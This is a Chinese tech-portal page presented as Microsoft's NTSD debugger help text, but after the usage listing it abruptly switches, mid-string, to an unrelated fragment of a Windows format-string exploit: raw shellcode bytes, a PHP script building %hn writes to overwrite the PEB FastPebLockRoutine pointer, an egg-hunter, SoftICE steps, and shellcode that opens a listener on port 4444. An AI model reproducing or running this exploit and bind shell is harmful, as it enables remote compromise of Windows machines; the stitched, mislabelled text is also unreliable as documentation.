今日更新
技术新闻
精彩专题
IBM软件技术专区
微软开发专区
技术文档中心
编程语言
网络通信
网络安全
LINUX/UNIX
软件工程与管理
数据库开发
WEB开发
企业应用与开发
移动开发
资源中心
原创专栏
开放系统世界
人才与培训
技术天地论坛
厂商列表
社区推荐

· 女性身体内部人体受孕..
· 十部顶级的变态与情色..
· 感情放纵让我毁了两个..
· 当我撞见姐姐和男友在..
· 卖淫少女惨遭泄愤民工..
· 偷拍街上的走光mm绝对..
· 百度打击google的广告
· 港娱乐圈与黑社会揭秘
赛迪网>>技术应用>>技术天地
关键字: ;
来  源: Microsoft
NTSD 中所附的帮助文件
作者:Microsoft 发文时间:2004.11.30
























usage: ntsd [-?] [-2] [-d] [-g] [-G] [-myob] [-lines] [-n] [-o] [-s] [-v] [-w]
            [-r BreakErrorLevel]  [-t PrintErrorLevel]
            [-hd] [-pd] [-pe] [-pt #] [-pv] [-x | -x{e|d|n|i} ]
            [-- | -p pid | -pn name | command-line | -z CrashDmpFile]
            [-zp CrashPageFile] [-premote transport] [-robp]
            [-aDllName] [-c "command"] [-i ImagePath] [-y SymbolsPath]
            [-clines #] [-srcpath SourcePath] [-QR \\machine] [-wake ]
            [-remote transport:server=name,portid] [-server transport:portid]
            [-ses] [-sfce] [-sicv] [-snul] [-noio] [-failinc] [-noshell]

where: -? displays this help text
       command-line is the command to run under the debugger
       -- is the same as -G -g -o -p -1 -d -pd
       -aDllName sets the default extension DLL
       -c executes the following debugger command
       -clines number of lines of output history retrieved by a remote client
       -failinc causes incomplete symbol and module loads to fail
       -d sends all debugger output to kernel debugger via DbgPrint
          -d cannot be used with debugger remoting
          -d can only be used when the kernel debugger is enabled
       -g ignores initial breakpoint in debuggee
       -G ignores final breakpoint at process termination
       -hd specifies that the debug heap should not be used
           for created processes.  This only works on Windows Whistler.
       -o debugs all processes launched by debuggee
       -p pid specifies the decimal process Id to attach to
       -pd specifies that the debugger should automatically detach
       -pe specifies that any attach should be to an existing debug port
       -pn name specifies the name of the process to attach to
       -pt # specifies the interrupt timeout
       -pv specifies that any attach should be noninvasive
       -r specifies the (0-3) error level to break on (SeeSetErrorLevel)
       -robp allows breakpoints to be set in read-only memory
       -t specifies the (0-3) error level to display (SeeSetErrorLevel)
       -w specifies to debug 16 bit applications in a separate VDM
       -x sets second-chance break on AV exceptions
       -x{e|d|n|i} sets the break status for the specified event
       -2 creates a separate console window for debuggee
       -i ImagePath specifies the location of the executables that generated
          the fault (see _NT_EXECUTABLE_IMAGE_PATH)
       -lines requests that line number information be used if present
       -myob ignores version mismatches in DBGHELP.DLL
       -n enables verbose output from symbol handler
       -noio disables all I/O for dedicated remoting servers
       -noshell disables the .shell (!!) command
       -QR <\\machine> queries for remote servers
       -s disables lazy symbol loading
       -ses enables strict symbol loading
       -sfce fails critical errors encountered during file searching
       -sicv ignores the CV record when symbol loading
       -snul disables automatic symbol loading for unqualified names
       -srcpath specifies the source search path
       -v enables verbose output from debugger
       -wake wakes up a sleeping debugger and exits
       -y specifies the symbol search path (see _NT_SYMBOL_PATH)
       -z specifies the name of a crash dump file to debug
       -zp specifies the name of a page.dmp file
                           to use with a crash dump
       -remote lets you connect to a debugger session started with -server
               must be the first argument if present
               transport: tcp | npipe | ssl | spipe | 1394 | com
               name: machine name on which the debug server was created
               portid: id of the port the debugger server was created on
                   for tcp use:  port=
                   for npipe use:  pipe=
                   for 1394 use:  channel=
                   for com use:  port=,baud=,
                                 channel=
                   for ssl and spipe see the documentation
               example: ... -remote npipe:server=yourmachine,pipe=foobar
       -server creates a debugger session other people can connect to
               must be the first argument if present
               transport: tcp | npipe | ssl | spipe | 1394 | com
               portid: id of the port remote users can connect to
                   for tcp use:  port=
                   for npipe use:  pipe=
                   for 1394 use:  channel=
                   for com use:  port=,baud=,
                                 channel=
                   for ssl and spipe see the documentation
               example: ... -server npipe:pipe=foobar
       -premote transport specifies the process server to connect to
              transport arguments are given as with remoting

Environment Variables:

    _NT_SYMBOL_PATH=[Drive:][Path]
        Specify symbol image path.

    _NT_ALT_SYMBOL_PATH=[Drive:][Path]
        Specify an alternate symbol image path.

    _NT_DEBUGGER_EXTENSION_PATH=[Drive:][Path]
        Specify a path which should be searched first for extensions dlls

    _NT_EXECUTABLE_IMAGE_PATH=[Drive:][Path]
        Specify executable image path.

    _NT_SOURCE_PATH=[Drive:][Path]
        Specify source file path.

    _NT_DEBUG_LOG_FILE_OPEN=filename
        If specified, all output will be written to this file from offset 0.

    _NT_DEBUG_LOG_FILE_APPEND=filename
        If specified, all output will be APPENDed to this file.

    _NT_DEBUG_HISTORY_SIZE=size
        Specifies the size of a server's output history in kilobytes

Control Keys:

     Quit debugger
             Break into Target
     Force a break into debuggee (same as Ctrl-C)
     Debug Current debugger
     Toggle Verbose mode
     Print version information
ntsd: exiting - press enter ---


(T113)
07\xae\xe0\x73\x20\xcb\x38\xa8\xa8".

"\xa8\x73\x04\x9e\x3f\xff\xfa\xf8\x9e\x73\xbe\xd0\x7e\x3c\x9e\x71".

"\xbf\xfa\x92\xe8\xaf\xab\x07\xae\xe4\x92\xf9\xab\x07\xae\xd8\xa8".

"\xa8\xab\x07\xae\xdc\x73\x20\x90\x9b\x95\x9c\xf8\x75\xec\xdc\x7b".

"\x14\xac\x73\x04\x92\xec\xa1\xcb\x38\x71\xfc\x77\x1a\x03\x3e\xbf".

"\xe8\xbc\x06\xbf\xc4\x06\xbf\xc5\x71\xa7\xb0\x71\xa7\xb4\x71\xa7".

"\xa8\x75\xbf\xe8\xaf\xa8\xa9\xa9\xa9\x92\xf9\xa9\xa9\xaa\xa9\x07".

"\xae\xf4\xcb\x38\xb0\xa8\x07\xae\xe8\xa9\xae\x73\x8d\xc4\x73\x8c".

"\xd6\x80\xfb\x0d\xae\x73\x8e\xd8\xfb\x0d\xcb\x31\xb1\xb9\x55\xfb".

"\x3d\xcb\x23\xf7\x46\xe8\xc2\x2e\x8c\xf0\x39\x33\xff\xfb\x22\xb8".

"\x13\x09\xc3\xe7\x8d\x1f\xa6\x73\xa6\xdc\xfb\x25\x9e\x73\xf4\xb3".

"\x73\xa6\xe4\xfb\x25\x73\xfc\x73\xfb\x3d\x53\xa6\xa1\x3b\x10\x21".

"\x06\x07\x07\x06\xdc\x81\x9c\x22\x06\xf1\x6e\xca\x8c\x69\xf4\x31".

"\x44\x5e\x93\x77\x0a\xe0\x99\xc5\x92\x4c\x78\xd5\xca\x80\x26\x9c".

"\xe8\x5f\x25\xf4\x67\x2b\xb3\x49\xe6\x6f\xf9\xa4\xe9\x47\x1d";



/*

7FFDF250 54 PUSH ESP

7FFDF251 5F POP EDI

7FFDF252 B8 90909090 MOV EAX,90909090

7FFDF257 FC CLD

7FFDF258 F2:AF REPNE SCAS DWORD PTR ES:[EDI]

7FFDF25A 57 PUSH EDI

7FFDF25B C3 RETN

*/

$fmt_array = array(

0x7FFDF250 => "0x5f54",

0x7FFDF252 => "0x90b8",

0x7FFDF254 => "0x9090",

0x7FFDF256 => "0xfc90",

0x7FFDF258 => "0xaff2",

0x7FFDF25A => "0xc357",

0x7FFDF022 => "0x7ffd",

0x7FFDF020 => "0xf250",

);



asort($fmt_array);

print_r($fmt_array);

$count = count($fmt_array);



$head = "";

$tail = "";

$last = 0;

foreach($fmt_array as $k => $v) {

printf("%x\n", $k);

$b0 = sprintf("%c", (($k >> 24) & 0xff));

$b1 = sprintf("%c", (($k >> 16) & 0xff));

$b2 = sprintf("%c", (($k >> 8) & 0xff));

$b3 = sprintf("%c", (($k ) & 0xff));



if (!$last) {

$last += 8*$count+8*$flag;

}



$head .= "AAAA".$b3.$b2.$b1.$b0;

$tail .= "%".($v-$last)."c%hn";

$last = $v;

}

$fmt_str = $head.(str_repeat("%.8x", $flag)).$tail;



$fmt_str .= str_repeat("\x90", 100).$shellcode;



$fp = fopen("binfile", "wb");

fwrite($fp, $fmt_str);

fclose($fp);

?>





    生成"binfile"文件后用SoftICE的Symbol Loader加载format.exe程序进行调试,首先对0x7ffdf020下一个读写断点:

:bpm 7ffdf020
:dd 7ffdf020
:g


    运行4个g以后,0x7ffdf020的内容被改写为0x7ffdf250,而且0x7ffdf250开始的地址也写入了上面12个字节搜索shellcode的代码。这时在0x7ffdf250下一个断点:

:bpx 7ffdf250
:g


    运行两个g以后就进入该地区:

001B:7FFDF250  54                  PUSH      ESP
001B:7FFDF251  5F                  POP       EDI
001B:7FFDF252  B890909090          MOV       EAX,90909090
001B:7FFDF257  FC                  CLD
001B:7FFDF258  F2AF                REPNZ SCASD
001B:7FFDF25A  57                  PUSH      EDI
001B:7FFDF25B  C3                  RET


    这时的ecx等于0x7FFDF250,所以我们不需要再给ecx赋值。esp等于0x0012EE78,正好我们的shellcode在esp高地址的地方,所以执行了一个cld指令,如果我们的shellcode在esp低地址的地方,那么cld指令应该换成std指令。按F10执行完ret指令后,代码滑入shellcode:

001B:0012FC10  90                  NOP


    在shellcode里我们必须马上恢复Peb->FastPebLockRoutine指针的内容为RtlEnterCriticalSection函数的地址:

mov     eax, fs:30h
        push    eax

        mov     eax, [eax+0Ch]
        mov     eax, [eax+1Ch]
        mov     ebp, [eax+8]                      ; base address of ntdll.dll
        push    eax

        mov     esi, edi

        push    _Nnums
        pop     ecx

        GetNFuncAddr:                           ; find functions from ntdll.dll
        call    find_hashfunc_addr
        loop    GetNFuncAddr

        pop     eax
        mov     eax, [eax]
        mov     ebp, [eax+8]                    ; base address of kernel32.dll
        pop     eax
        push    dword ptr [esi+_RtlEnterCriticalSection]
        pop     dword ptr [eax+0x20]
        push    dword ptr [esi+_RtlLeaveCriticalSection]
        pop     dword ptr [eax+0x24]


    format.php里的shellcode被正确执行后会监听在4444端口。这个利用程序在Windows 2003下是无法利用的,因为Windows 2003的PEB里已经没有Peb->FastPebLockRoutine和Peb->FastPebUnlockRoutine这两个指针。在Windows XP SP2上利用的成功率也会很低,因为SP2的PEB里虽然还有Peb->FastPebLockRoutine和Peb->FastPebUnlockRoutine这两个指针,但是它的PEB基地址却不是固定的,进程每次运行都不会相同。

    这种技术在其它平台也可以使用,只是其它平台未必有象Win32这样固定的类似Peb->FastPebLockRoutine指针。(T101)




赛迪网推出“IT博客”,花不到一分钟就完成注册
评论】 【推荐】 【 】 【打印】 【关闭

·Linux专区· ·黑客攻防·
· Linux下添加硬盘、分区、格式化任务详解
· FreeBSD服务器的安装与优化之优化篇
· 初学者入门:FreeBSD服务器的安装与优化
· 金企鹅杯两岸四地开源软件大赛圆满结束
· 如何提高Linux系统安全性的十大招数
· 构筑Linux防火墙之为个人用户设置防火墙
· 谁更安全?黑客眼中的防火墙与路由器
· 识破骗局 练就识别QQ活动真伪火眼金睛
· 应用安全大有可为:目的、挑战、总结
· 道高一尺魔高一丈:安全防御的动感魅力
· 警惕网络“内”院起火 积极谋求安内之路
· HHCTRL漏洞被黑客利用 疯狂传播木马
·中国信息化· ·成功案例·
· ERP普及化是饮鸩止渴 精细化才是应用之道
· 赛门铁克第八期《互联网安全威胁报告》解析
· 抢食“数字工商” 国产中间件杀出血路
· 从IBM等操作系统的发展看软件创新的启示
· 服务成就蓝色快车 品牌是怎样炼成的?
· 三大技术应用大会合为一体甲骨文上演三重奏
· 南阳教育城域网 拆掉学校间的“围墙”
· 金算盘助申意美步入信息化快车道
· 不为人知的索尼信息化 谁是幕后英雄?
· InforBus/Q在穗高速路联网收费系统中的应用
· J2EE构建最新金融理念和运作模式的网上银行
· 食品安全令人担心 信息化能否保驾护航
*姓  名: 更多资料 了解方案 认识厂商
*单位名称:
*联系电话:
*电子邮件:
    
◆ 相关文章   ◆ 站内热点推荐
· 北京市政府软件采购风云突变 微软定单取消
· "大盗"来袭 威胁网上证券交易(多图)
· 什么是商业智能技术
· 图文报道:首届计算机调试员全国职业技能大赛(江苏赛区)
· 新加坡机场试用生物通关系统与高科技护照
· 网管员论坛
· 开发者之家
· WLAN无限未来
· 我是如何掉进C#的……
· 中国“人件”非正式调查

   
合作网站: IBM dW中国网站 LinuxAID 软件工程专家网 中国系统分析员 UMLChina MATRIX Mobile2008 JavaResearch 华储网 UML软件工程组织 中国JAVA手机网 JAVA中文站 金山在线 海量科技